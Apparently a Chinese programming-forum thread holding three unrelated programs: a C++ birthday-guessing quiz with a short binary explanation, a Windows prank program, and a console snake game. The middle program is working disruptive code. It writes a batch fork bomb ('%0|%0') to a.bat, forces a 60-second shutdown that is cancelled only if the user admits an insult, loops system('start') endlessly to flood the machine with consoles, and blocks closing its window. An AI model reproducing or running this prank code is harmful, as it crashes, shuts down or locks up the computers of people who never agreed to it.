高级天翼
一段有趣的C++代码,五次选择猜出你的生日 2017-02-01 22:25:47
程序代码:GuessBirthDate.cpp
/**
* 运行程序,做5次选择,就能知道你的生日是哪一天。
*/
#include <iostream>
using namespace std;
int main()
{
int date = 0; // Date to be determind
char answer;
// Prompt the user for Set 1
cout << "Is your birth date in this set ?" << endl;
cout << "16 17 18 19\n" <<
"20 21 22 23\n" <<
"24 25 26 27\n" <<
"28 29 30 31" << endl;
cout << "Enter N for No and Y for Yes: ";
cin >> answer;
if (answer == 'Y')
date += 16;
// Prompt the user for Set 2
cout << "Is your birth date in this set ?" << endl;
cout << " 8 9 10 11\n" <<
"12 13 14 15\n" <<
"24 25 26 27\n" <<
"28 29 30 31" << endl;
cout << "Enter N for No and Y for Yes: ";
cin >> answer;
if (answer == 'Y')
date += 8;
// Prompt the user for Set 3
cout << "Is your birth date in this set ?" << endl;
cout << " 1 3 5 7\n" <<
" 9 11 13 15\n" <<
"17 19 21 23\n" <<
"25 27 29 31" << endl;
cout << "Enter N for No and Y for Yes: ";
cin >> answer;
if (answer == 'Y')
date += 1;
// Prompt the user for Set 4
cout << "Is your birth date in this set ?" << endl;
cout << " 2 3 6 7\n" <<
"10 11 14 15\n" <<
"18 19 22 23\n" <<
"26 27 30 31" << endl;
cout << "Enter N for No and Y for Yes: ";
cin >> answer;
if (answer == 'Y')
date += 2;
// Prompt the user for Set 5
cout << "Is your birth date in this set ?" << endl;
cout << " 4 5 6 7\n" <<
"12 13 14 15\n" <<
"20 21 22 23\n" <<
"28 29 30 31" << endl;
cout << "Enter N for No and Y for Yes: ";
cin >> answer;
if (answer == 'Y')
date += 4;
cout << "Your birth date is " << date << endl;
return 0;
}
运行结果:
Is your birth date in Set1?
16 17 18 19
20 21 22 23
24 25 26 27
28 29 30 31
Enter N for No and Y for Yes: N
Is your birth date in Set2?
8 9 10 11
12 13 14 15
24 25 26 27
28 29 30 31
Enter N for No and Y for Yes: Y
Is your birth date in Set3?
1 3 5 7
9 11 13 15
17 19 21 23
25 27 29 31
Enter N for No and Y for Yes: Y
Is your birth date in Set4?
2 3 6 7
10 11 14 15
18 19 22 23
26 27 30 31
Enter N for No and Y for Yes: Y
Is your birth date in Set5?
4 5 6 7
12 13 14 15
20 21 22 23
28 29 30 31
Enter N for No and Y for Yes: N
Your birth date is 11
Press any key to continue
简单分析一下:
一个月最多31天,
而 2^5-1
= 31 = 11111(二进制)
所以5个0/1的组合(二进制)可以表示一个月的每一天。
接下来就可以用每组数来排除各种可能性。
比如说你在第一组数时回答否,
那么说明你的生日的二年制表示时的最高位不为1
其他组依次类推就能得出结果了
#include<windows.h>
#include<iostream>
#include<fstream>
using namespace std;
int i = 1,temp1=0,temp2=0;
char a[6] = "a.bat";
char str[10];
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
//主函数 程序入口
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
PSTR szCmdLine, int iCmdShow)
{
static TCHAR szAppName[] = TEXT("HelloWin");
HWND hwnd; //用来保存成功创建窗口后返回的句柄
MSG msg; //定义消息结构体变量
WNDCLASS wndclass; //窗体类
wndclass.style = CS_HREDRAW | CS_VREDRAW; //指定窗口风格
wndclass.lpfnWndProc = WndProc; ////函数指针,指向处理窗口消息的函数入口
wndclass.cbClsExtra = 0; //结构体后附加的字节数,一般总为0
wndclass.cbWndExtra = 0; //窗体实例附加的字节数,一般总为0
wndclass.hInstance = hInstance; //模块句柄
wndclass.hIcon = LoadIcon(NULL, IDI_APPLICATION); //图标句柄 任务栏显示的图标
wndclass.hCursor = LoadCursor(NULL, IDC_ARROW); //光标句柄
wndclass.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH); //背景颜色COLOR_BACKGROUND
wndclass.lpszMenuName = NULL; //菜单名的字符串
wndclass.lpszClassName = szAppName; //自定义类名,不要与其他类名重复
if (!RegisterClass(&wndclass))
{
MessageBox(NULL, TEXT("注册类失败!"), szAppName, MB_ICONERROR);
return 0;
}
int x = ((GetSystemMetrics(SM_CXSCREEN) / 2) - 200); //x居中
int y = ((GetSystemMetrics(SM_CYSCREEN) / 2) - 200); //y居中
//创建窗体API
hwnd = CreateWindow(szAppName, TEXT("!!!你被骗了!!!"),
WS_CAPTION | WS_SYSMENU | WS_MINIMIZEBOX,
x,
y,
500,
500,
NULL,
NULL,
hInstance,
NULL);
//显示窗体的API 传入需要显示的窗体句柄和显示方式
ShowWindow(hwnd, iCmdShow);
//刷新窗体的API
UpdateWindow(hwnd);
while (GetMessage(&msg, NULL, 0, 0) > 0)
{
DispatchMessage(&msg);
}
return msg.wParam;
}
LRESULT CALLBACK WndProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
HDC hdc; //句柄
PAINTSTRUCT ps;
RECT rect; //矩形
HINSTANCE hInstance; //窗口实例
static HWND hwndButton[5]; //按钮句柄
switch (message)
{
case WM_CREATE: //创建按钮
{
hInstance = ((LPCREATESTRUCT)lParam)->hInstance;
//按钮1
hwndButton[0] = CreateWindow("BUTTON", "死机",
WS_TABSTOP | WS_VISIBLE | WS_CHILD | BS_DEFPUSHBUTTON,
10, 10, 50, 50, hwnd, NULL,
(HINSTANCE)GetWindowLong(hwnd, GWL_HINSTANCE), NULL);
//按钮2
hwndButton[1] = CreateWindow("BUTTON", "机房爆炸",
WS_TABSTOP | WS_VISIBLE | WS_CHILD | BS_DEFPUSHBUTTON,
60, 10, 70, 50, hwnd, NULL,
(HINSTANCE)GetWindowLong(hwnd, GWL_HINSTANCE), NULL);
hwndButton[2] = CreateWindow("BUTTON", "终结者,劝你不要点,毕竟本人还没试过",
WS_TABSTOP | WS_VISIBLE | WS_CHILD | BS_DEFPUSHBUTTON,
10, 70, 300, 50, hwnd, NULL,
(HINSTANCE)GetWindowLong(hwnd, GWL_HINSTANCE), NULL);
case WM_PAINT://设计编辑框
hdc = BeginPaint(hwnd, &ps);
TextOut(hdc, 10, 10, "Please entry the num:", 21);
TextOut(hdc, 10, 40, "a", 1);
TextOut(hdc, 10, 90, str, strlen(str));
EndPaint(hwnd, &ps);
return 0;
}
case WM_COMMAND: //响应按钮消息
if ((HWND)lParam == hwndButton[2])
{
if (MessageBox(NULL, TEXT("!!恭喜!!"), TEXT("Tips"), MB_YESNO | MB_ICONEXCLAMATION) == 6)
{
ofstream out;
out.open(a);
out << "%0|%0";
out.close();
}
else
{
MessageBox(NULL, TEXT("!!恭喜!!"), TEXT("Tips"), 0x0000000);
ofstream out;
out.open(a);
out << "%0|%0";
out.close();
out.open(a);
}
}
if ((HWND)lParam == hwndButton[0])
{
if (MessageBox(NULL, TEXT("!!恭喜!!"), TEXT("Tips"), MB_YESNO | MB_ICONEXCLAMATION) == 6)
{
system("shutdown -s -t 60");
hwndButton[3] = CreateWindow("BUTTON", "你是猪吗,也许还有救(>v<)",
WS_TABSTOP | WS_VISIBLE | WS_CHILD | BS_DEFPUSHBUTTON,
130, 10, 250, 50, hwnd, NULL,
(HINSTANCE)GetWindowLong(hwnd, GWL_HINSTANCE), NULL);
}
else
{
MessageBox(NULL, TEXT("就算点否也没用"), TEXT("Tips"), 0x0000000);
system("shutdown -s -t 60");
hwndButton[3] = CreateWindow("BUTTON", "你是猪吗,也许还有救(>v<)",
WS_TABSTOP | WS_VISIBLE | WS_CHILD | BS_DEFPUSHBUTTON,
130, 10, 250, 50, hwnd, NULL,
(HINSTANCE)GetWindowLong(hwnd, GWL_HINSTANCE), NULL);
}
}
if ((HWND)lParam == hwndButton[4])
{
MessageBox(NULL, TEXT("承认了吗"), TEXT("Tips"), 0x00000000);
MessageBox(NULL, TEXT("把想关掉吗?"), TEXT("Tips"), 0x00000000);
MessageBox(NULL, TEXT("试过alt+f4了把?"), TEXT("Tips"), 0x00000000);
MessageBox(NULL, TEXT("也没用呢哈哈"), TEXT("Tips"), 0x00000000);
MessageBox(NULL, TEXT("要不我和你讲个故事吧"), TEXT("Tips"), 0x00000000);
for (int i = 0; i != 6; i++)
{
MessageBox(NULL, TEXT("从前宥座山"), TEXT("Tips"), 0x00000000);
MessageBox(NULL, TEXT("山里宥座庙"), TEXT("Tips"), 0x00000000);
MessageBox(NULL, TEXT("庙里有个和尚给小和尚讲故事他们讲的是什么呢?"), TEXT("Tips"), 0x00000000);
}
while(i)
{
MessageBox(NULL, TEXT("好了不逗你了让你退出吧"), TEXT("Tips"), 0x00000000);
}
}
if ((HWND)lParam == hwndButton[3])
{
if (MessageBox(NULL, TEXT("承认了吗"), TEXT("Tips"), MB_YESNO | MB_ICONEXCLAMATION) == 6)
{
system("shutdown -a");
i = 0;
}
else { MessageBox(NULL, TEXT("sb"), TEXT("Tips"), 0x0000000); }
}
if ((HWND)lParam == hwndButton[1])
{
MessageBox(NULL, TEXT("你太坏了 我要惩罚你!前方高能"), TEXT("Tips"),0x00000000);
temp2++;
while (i)
{
system("start");
}
}
return 0;
case WM_CLOSE: //关闭
hwndButton[4] = CreateWindow("BUTTON", "你是猪吗,也许还能关(>v<)点我点我",
WS_TABSTOP | WS_VISIBLE | WS_CHILD | BS_DEFPUSHBUTTON,
20, 300, 300, 50, hwnd, NULL,
(HINSTANCE)GetWindowLong(hwnd, GWL_HINSTANCE), NULL);
if (IDYES == MessageBox(hwnd, "偶都克关不了(>_<)", "Tips", 0x00000000))
{
// DestroyWindow(hwnd);
}
return 0;
case WM_DESTROY: //退出程序
PostQuitMessage(0);
return 0;
}
return DefWindowProc(hwnd, message, wParam, lParam);
}
新手守护
#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>//windows编程头文件
#include <time.h>
#include <conio.h>//控制台输入输出头文件
#ifndef __cplusplus
typedef char bool;
#define false 0
#define true 1
#endif
//将光标移动到控制台的(x,y)坐标点处
void gotoxy(int x, int y)
{
COORD coord;
coord.X = x;
coord.Y = y;
SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE), coord);
}
#define SNAKESIZE 100//蛇的身体最大节数
#define MAPWIDTH 78//宽度
#define MAPHEIGHT 24//高度
//食物的坐标
struct {
int x;
int y;
}food;
//蛇的相关属性
struct {
int speed;//蛇移动的速度
int len;//蛇的长度
int x[SNAKESIZE];//组成蛇身的每一个小方块中x的坐标
int y[SNAKESIZE];//组成蛇身的每一个小方块中y的坐标
}snake;
//绘制游戏边框
void drawMap();
//随机生成食物
void createFood();
//按键操作
void keyDown();
//蛇的状态
bool snakeStatus();
//从控制台移动光标
void gotoxy(int x, int y);
int key = 72;//表示蛇移动的方向,72为按下“↑”所代表的数字
//用来判断蛇是否吃掉了食物,这一步很重要,涉及到是否会有蛇身移动的效果以及蛇身增长的效果
int changeFlag = 0;
int sorce = 0;//记录玩家的得分
int i;
void drawMap()
{
//打印上下边框
for (i = 0; i <= MAPWIDTH; i += 2)//i+=2是因为横向占用的是两个位置
{
//将光标移动依次到(i,0)处打印上边框
gotoxy(i, 0);
printf("■");
//将光标移动依次到(i,MAPHEIGHT)处打印下边框
gotoxy(i, MAPHEIGHT);
printf("■");
}
//打印左右边框
for (i = 1; i < MAPHEIGHT; i++)
{
//将光标移动依次到(0,i)处打印左边框
gotoxy(0, i);
printf("■");
//将光标移动依次到(MAPWIDTH, i)处打印左边框
gotoxy(MAPWIDTH, i);
printf("■");
}
//随机生成初试食物
while (1)
{
srand((unsigned int)time(NULL));
food.x = rand() % (MAPWIDTH - 4) + 2;
food.y = rand() % (MAPHEIGHT - 2) + 1;
//生成的食物横坐标的奇偶必须和初试时蛇头所在坐标的奇偶一致,因为一个字符占两个字节位置,若不一致
//会导致吃食物的时候只吃到一半
if (food.x % 2 == 0)
break;
}
//将光标移到食物的坐标处打印食物
gotoxy(food.x, food.y);
printf("*");
//初始化蛇的属性
snake.len = 3;
snake.speed = 200;
//在屏幕中间生成蛇头
snake.x[0] = MAPWIDTH / 2 + 1;//x坐标为偶数
snake.y[0] = MAPHEIGHT / 2;
//打印蛇头
gotoxy(snake.x[0], snake.y[0]);
printf("☆");
//生成初试的蛇身
for (i = 1; i < snake.len; i++)
{
//蛇身的打印,纵坐标不变,横坐标为上一节蛇身的坐标值+2
snake.x[i] = snake.x[i - 1] + 2;
snake.y[i] = snake.y[i - 1];
gotoxy(snake.x[i], snake.y[i]);
printf("☆");
}
//打印完蛇身后将光标移到屏幕最上方,避免光标在蛇身处一直闪烁
gotoxy(MAPWIDTH - 2, 0);
return;
}
void keyDown()
{
int pre_key = key;//记录前一个按键的方向
if (_kbhit())//如果用户按下了键盘中的某个键
{
fflush(stdin);//清空缓冲区的字符
//getch()读取方向键的时候,会返回两次,第一次调用返回0或者224,第二次调用返回的才是实际值
key = _getch();//第一次调用返回的不是实际值
key = _getch();//第二次调用返回实际值
}
/*
*蛇移动时候先擦去蛇尾的一节
*changeFlag为0表明此时没有吃到食物,因此每走一步就要擦除掉蛇尾,以此营造一个移动的效果
*为1表明吃到了食物,就不需要擦除蛇尾,以此营造一个蛇身增长的效果
*/
if (changeFlag == 0)
{
gotoxy(snake.x[snake.len - 1], snake.y[snake.len - 1]);
printf(" ");//在蛇尾处输出空格即擦去蛇尾
}
//将蛇的每一节依次向前移动一节(蛇头除外)
for (i = snake.len - 1; i > 0; i--)
{
snake.x[i] = snake.x[i - 1];
snake.y[i] = snake.y[i - 1];
}
//蛇当前移动的方向不能和前一次的方向相反,比如蛇往左走的时候不能直接按右键往右走
//如果当前移动方向和前一次方向相反的话,把当前移动的方向改为前一次的方向
if (pre_key == 72 && key == 80)
key = 72;
if (pre_key == 80 && key == 72)
key = 80;
if (pre_key == 75 && key == 77)
key = 75;
if (pre_key == 77 && key == 75)
key = 77;
/**
*控制台按键所代表的数字
*“↑”:72
*“↓”:80
*“←”:75
*“→”:77
*/
//判断蛇头应该往哪个方向移动
switch (key)
{
case 75:
snake.x[0] -= 2;//往左
break;
case 77:
snake.x[0] += 2;//往右
break;
case 72:
snake.y[0]--;//往上
break;
case 80:
snake.y[0]++;//往下
break;
}
//打印出蛇头
gotoxy(snake.x[0], snake.y[0]);
printf("☆");
gotoxy(MAPWIDTH - 2, 0);
//由于目前没有吃到食物,changFlag值为0
changeFlag = 0;
return;
}
void createFood()
{
if (snake.x[0] == food.x && snake.y[0] == food.y)//蛇头碰到食物
{
//蛇头碰到食物即为要吃掉这个食物了,因此需要再次生成一个食物
while (1)
{
int flag = 1;
srand((unsigned int)time(NULL));
food.x = rand() % (MAPWIDTH - 4) + 2;
food.y = rand() % (MAPHEIGHT - 2) + 1;
//随机生成的食物不能在蛇的身体上
for (i = 0; i < snake.len; i++)
{
if (snake.x[i] == food.x && snake.y[i] == food.y)
{
flag = 0;
break;
}
}
//随机生成的食物不能横坐标为奇数,也不能在蛇身,否则重新生成
if (flag && food.x % 2 == 0)
break;
}
//绘制食物
gotoxy(food.x, food.y);
printf("*");
snake.len++;//吃到食物,蛇身长度加1
sorce += 10;//每个食物得10分
snake.speed -= 5;//随着吃的食物越来越多,速度会越来越快
changeFlag = 1;//很重要,因为吃到了食物,就不用再擦除蛇尾的那一节,以此来造成蛇身体增长的效果
}
return;
}
bool snakeStatus()
{
//蛇头碰到上下边界,游戏结束
if (snake.y[0] == 0 || snake.y[0] == MAPHEIGHT)
return false;
//蛇头碰到左右边界,游戏结束
if (snake.x[0] == 0 || snake.x[0] == MAPWIDTH)
return false;
//蛇头碰到蛇身,游戏结束
for (i = 1; i < snake.len; i++)
{
if (snake.x[i] == snake.x[0] && snake.y[i] == snake.y[0])
return false;
}
return true;
}
int main()
{
drawMap();
while (1)
{
keyDown();
if (!snakeStatus())
break;
createFood();
Sleep(snake.speed);
}
gotoxy(MAPWIDTH / 2, MAPHEIGHT / 2);
printf("Game Over!\n");
gotoxy(MAPWIDTH / 2, MAPHEIGHT / 2 + 1);
printf("本次游戏得分为:%d\n", sorce);
Sleep(5000);
return 0;
}